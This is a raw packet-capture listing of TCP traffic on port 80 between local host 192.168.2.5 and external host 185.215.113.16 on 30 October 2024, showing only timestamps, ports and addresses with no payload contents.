Oct 30, 2024 21:55:23.582243919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.582257032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.582268000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.582321882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.582508087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.582520008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.582532883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.582572937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.582586050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.582592964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.582592964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.582647085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.585340023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.585381985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.585392952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.585411072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.585422993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.585441113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.585483074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.585581064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.585591078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.585601091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.585629940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.585648060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.623204947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.623579979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.623631001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.655422926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.655451059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.655459881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.655466080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.655606985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.656049967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.656132936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.656142950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.656177044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.656187057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.656197071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.656251907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.656253099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.656677008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.656687021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.656698942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.656708956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.656786919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.656898975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.657046080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.657135963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.699800968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.699850082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.699860096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.699913025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.699951887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.699961901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.699971914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.699985027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.699996948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.700025082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.700025082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.700047970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.700419903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.700467110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.700478077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.700520039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.700525045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.700582981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.700897932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.700907946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.700917959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.700927973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.700965881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.700983047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.700994968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.701004982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.701014996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.701023102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.701023102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.701061964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.702287912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.703222990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.703282118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.704092979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.704106092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.704118967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.704169035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.704447985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.704461098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.704550028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.704696894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.704729080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.704741001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.704763889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.704782009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.773364067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.773386955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.773400068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.773466110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.774096012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774110079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774121046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774132013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774192095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.774192095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.774246931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774257898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774386883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.774410963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774424076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774435043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774503946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.774503946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.774682045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774702072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774713039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.774754047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.815515995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.815530062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.815540075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.815623045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.818223953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818237066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818243027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818248987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818259954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818265915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818276882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818288088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818311930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.818386078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.818533897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818576097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818588018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818648100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.818845987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818860054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818871975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818885088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818898916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818909883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818919897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818922997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.818922997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.818933010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.818941116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.818998098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.819678068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.819689989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.819701910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.819781065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.819781065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.821970940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822019100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822027922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822103977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822113991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822124004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822134018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.822164059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.822410107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822534084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822542906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822560072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822570086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.822594881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.822594881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.875463009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.891546011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.891560078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.891572952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.891630888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.892079115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892236948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892245054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.892251015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892313957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.892317057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892328978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892349005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892360926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892368078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892369986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.892374039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892482996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.892607927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892618895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892631054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.892661095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.933510065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.933605909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.933633089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.933645010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.933655024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.933686018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.936064959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936139107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.936211109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936225891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936245918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936258078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936269999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936281919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936289072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.936289072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.936326027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.936450005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936556101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936567068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936578035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936587095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936599016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936629057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.936660051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.936942101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936954021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.936965942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.937001944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.937026978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.937040091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.937083960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.937248945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.937302113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.937313080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.937314987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.937350035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.937355995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.937366962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.937416077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.939971924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940026999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940038919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940095901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940108061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940119028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940139055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.940169096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.940169096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.940280914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940323114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940334082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940398932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.940660000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940670967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940681934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.940718889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.940732956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:23.940900087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.941188097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:23.941256046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.009516954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.009531021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.009543896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.009618998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.010255098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010277987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010289907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010334969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.010391951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010405064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010416985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010430098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010446072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.010446072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.010560036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.010610104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010622025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010633945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010652065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.010694027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.010718107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.051806927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.051821947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.051832914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.051934004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.055346966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.055455923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.055485964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.055499077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.055618048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.056107044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.056271076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.056283951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.056418896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.058099985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.058178902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.058269978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.058443069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.058557987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.059133053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059144974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059262037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.059298038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059310913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059329987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059340000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059351921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059364080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059377909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059395075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059406042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059403896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.059403896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.059403896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.059418917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059439898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059459925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059459925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.059459925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.059473038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.059676886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.060626030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.060636997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.060652018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.060679913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.060720921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.060785055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.060797930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.060808897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.060851097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.060980082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.060991049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.061003923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.061019897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.061033964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.061064005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.061234951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.061247110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.061362028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.061393976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.061403990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.061410904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.061477900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.061563015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.103287935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.103302002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.103379011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.127568007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.127578020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.127583981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.127616882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.127674103 CET	49712	80	192.168.2.5	185.215.113.16
